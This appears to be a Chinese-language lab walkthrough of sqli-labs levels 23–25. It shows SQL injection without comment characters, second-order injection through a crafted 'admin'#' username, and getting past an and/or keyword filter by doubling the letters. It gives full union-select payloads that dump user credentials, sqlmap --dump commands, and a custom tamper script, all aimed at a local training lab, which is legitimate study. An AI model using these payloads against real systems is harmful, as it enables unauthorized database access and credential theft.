sqli-lab靶场学习(七)——Less23-25(关键字被过滤、二次注入)

ops/2025/3/11 2:51:42/

前言

之前的每一关,我们都是在末尾加上注释符,屏蔽后面的语句,这样我们只要闭合了区间之后,差不多就是为所欲为的状态。但如果注释符不生效的情况下,又该如何呢?

Less23(注释符被过滤)

第25关,这关分析源码,它是过滤了请求的注释符“--”和“#”,所以这里不能用注释符注释后面的语句。但对本关注入来说,不成问题。

本关是测试可知是单引号闭合:

http://localhost/sqli-labs/less-23/?id=1' or'

接着就按照Less1的套路来就可以了。测试列数:

http://localhost/sqli-labs/less-23/?id=1' union select 1'

列数不是1,经测试到3时没报错:

http://localhost/sqli-labs/less-23/?id=1' union select 1,2,3'

接下来测试是否前端可以回显:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,2,3'

测试联合注入可以回显。那么就开始爆数据库名:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,database(),3'

然后爆表:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' '

爆字段:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' '

爆用户名密码:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users where 1='1

Less24(二次注入)

二次注入的概念,是某个地方过滤了特殊字符等,但是攻击者可以在另一个地方把带特殊字符的信息写入数据库,当某个地方需要校验时,程序从数据库读取带特殊字符的信息,可以形成sql注入。最典型的例子,就是网站注册用户时,通过输入带特殊字符的用户名或密码,到了登陆时程序匹配时被特殊字符注入。

分析源码,注入点在pass_change.php中:

如果我们在变量$username的位置闭合,那不需要检测该账号当前的密码。

进入创建新用户。创建用户是常见二次注入点。接下来创建用户名“admin'#”,密码:1。然后重新登陆:

接着随便输入当前密码,然后输入新密码为"abc"。接着logout后重新登陆时,输入admin/abc。发现admin密码已经被改为abc了。这就是二次注入。

Less25(绕过and、or)

25关在于绕过关键字and和or。页面下方的Hint会提示过滤后的情况:

http://localhost/sqli-labs/less-25/?id=1' or 1=1 %23

显然or被过滤掉了。那如何避免被过滤呢? 可以采用双写,比如说and写成aandnd,or写成oorr,这样字符串过滤时,过滤掉中间的关键字后,刚好恢复成and和or。尝试输入:

http://localhost/sqli-labs/less-25/?id=1' oorr 1=1 %23

 本关虽然我们不需要使用and和or关键字,但是其他单词中包含and和or的话,也是需要绕过的。基本上按照第一关的思路就够了:

#联合注入回显2,、3列
http://localhost/sqli-labs/less-25/?id=-1' union select 1,2,3 %23#查数据库名
http://localhost/sqli-labs/less-25/?id=-1' union select 1,database(),3 %23#爆表名,information的or会被过滤,需要双写
http://localhost/sqli-labs/less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()%23#爆列名
http://localhost/sqli-labs/less-25/?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='users' %23#爆用户名密码,password的or需要双写
http://localhost/sqli-labs/less-25/?id=-1' union select 1,group_concat(username),group_concat(passwoorrd) from users %23

sqlmap方法

第23关虽然注释符被过滤,但对sqlmap来说不需要什么特殊处理,因为基本注入语句中就已经带这类注入方法,所以还是按老套路就好了:

sqlmap -u http://127.0.0.1/sqli-labs/less-23/?id=1 --current-db
sqlmap -u http://127.0.0.1/sqli-labs/less-23/?id=1 -D security --tables
sqlmap -u http://127.0.0.1/sqli-labs/less-23/?id=1 -D security -T users --columns
sqlmap -u http://127.0.0.1/sqli-labs/less-23/?id=1 -D security -T users -C "username,password" --dump

第24关因为是二次注入,因为不能直接用sqlmap来处理

第25关因为过滤了or关键字,所以要么把密码写成passwoorrd,要么使用tamper绕过。

写成passwoorrd:

sqlmap -u http://127.0.0.1/sqli-labs/less-25/?id=1 --current-db
sqlmap -u http://127.0.0.1/sqli-labs/less-23/?id=1 -D security --tables
sqlmap -u http://127.0.0.1/sqli-labs/less-23/?id=1 -D security -T users --columns
sqlmap -u http://127.0.0.1/sqli-labs/less-25/?id=1 -D security -T users -C "username,passwoorrd" --dump

写tamper就相对复杂一点了,首先要自定义一个tamper文件,这里在sqlmap目录下的tamper目录下新建文件shuangxie.py

def tamper(payload, **kwargs):payload = payload.replace("and","aandnd")payload = payload.replace("or","oorr")return payload

这里很简单,单纯对payload中所有and和or进行双写。这样执行爆用户名密码的语句就不需要双写了:

sqlmap -u http://127.0.0.1/sqli-labs/less-25/?id=1 -D security -T users -C "username,password" --dump --tamper shuangxie.py

小结

本文的注入已经逐步向sql注入高阶迈进。后面还会逐渐遇到需要各种绕过的情形。另外二次注入也是常见的注入场景,每当遇到注册新用户的时候,都可以考虑是否存在这种注入点。


http://www.ppmy.cn/ops/164822.html

相关文章

在ubuntu20.4中如何创建一个虚拟环境(亲测有效)

步骤 1:安装 virtualenv 和 virtualenvwrapper 更新包列表: sudo apt update安装 virtualenv 和 virtualenvwrapper: sudo apt install python3-virtualenv python3-virtualenvwrapper步骤 2:配置 virtualenvwrapper 你需要将…

梯度计算中常用的矩阵微积分公式

标量对向量求导的常用数学公式 设标量函数 y f ( x ) y f(\boldsymbol{x}) yf(x),其中 x ( x 1 , x 2 , ⋯ , x n ) T \boldsymbol{x} (x_1, x_2, \cdots, x_n)^{\rm T} x(x1​,x2​,⋯,xn​)T是一个 n n n维列向量。标量 y y y对向量 x \boldsymbol{x} x的导数…

计算机二级MS之PPT

声明:跟着大猫和小黑学习随便记下一些笔记供大家参考,二级考试之前将持续更新,希望大家二级都能轻轻松松过啦,过了二级的大神也可以在评论区留言给点建议,感谢大家!! 文章目录 考题难点1cm25px…

利用LLMs准确预测旋转机械(如轴承)的剩余使用寿命(RUL)

研究背景 研究问题:如何准确预测旋转机械(如轴承)的剩余使用寿命(RUL),这对于设备可靠性和减少工业系统中的意外故障至关重要。研究难点:该问题的研究难点包括:训练和测试阶段数据分布不一致、长期RUL预测的泛化能力有限。相关工作:现有工作主要包括基于模型的方法、数…

Android15 Camera框架中的StatusTracker

StatusTracker介绍 StatusTracker是Android15 Camera框架中用来协调Camera3各组件之间状态转换的类。 StatusTracker线程名:std::string("C3Dev-") mId "-Status" Camera3 StatusTracker工作原理 StatusTracker实现批处理(状态…

大白话react第十七章React 与 WebGL 项目进阶优化及拓展

大白话react第十七章React 与 WebGL 项目进阶优化及拓展 1. 引入物理引擎 在 React 和 WebGL 结合的项目里,加入物理引擎能让 3D 场景更真实,就像在现实世界里物体有重力、碰撞等效果一样。这里我们用 cannon-es 这个物理引擎库。 // 引入 React 的 u…

Android 加解密算法工具类封装:AES、RSA、MD5 一站式解决方案

在 Android 开发中,数据的安全性非常重要,尤其是敏感数据的存储和传输。为了实现数据加密和解密,我们可以封装一个通用的加解密工具类,支持常见的加密算法(如 AES、RSA、DES 等)。以下是一个基于 AES 对称加…

前端 | CORS 跨域问题解决

问题:Access to fetch at http://localhost:3000/save from origin http://localhost:5174 has been blocked by CORS policy: Response to preflight request doesnt pass access control check: No Access-Control-Allow-Origin header is present on the request…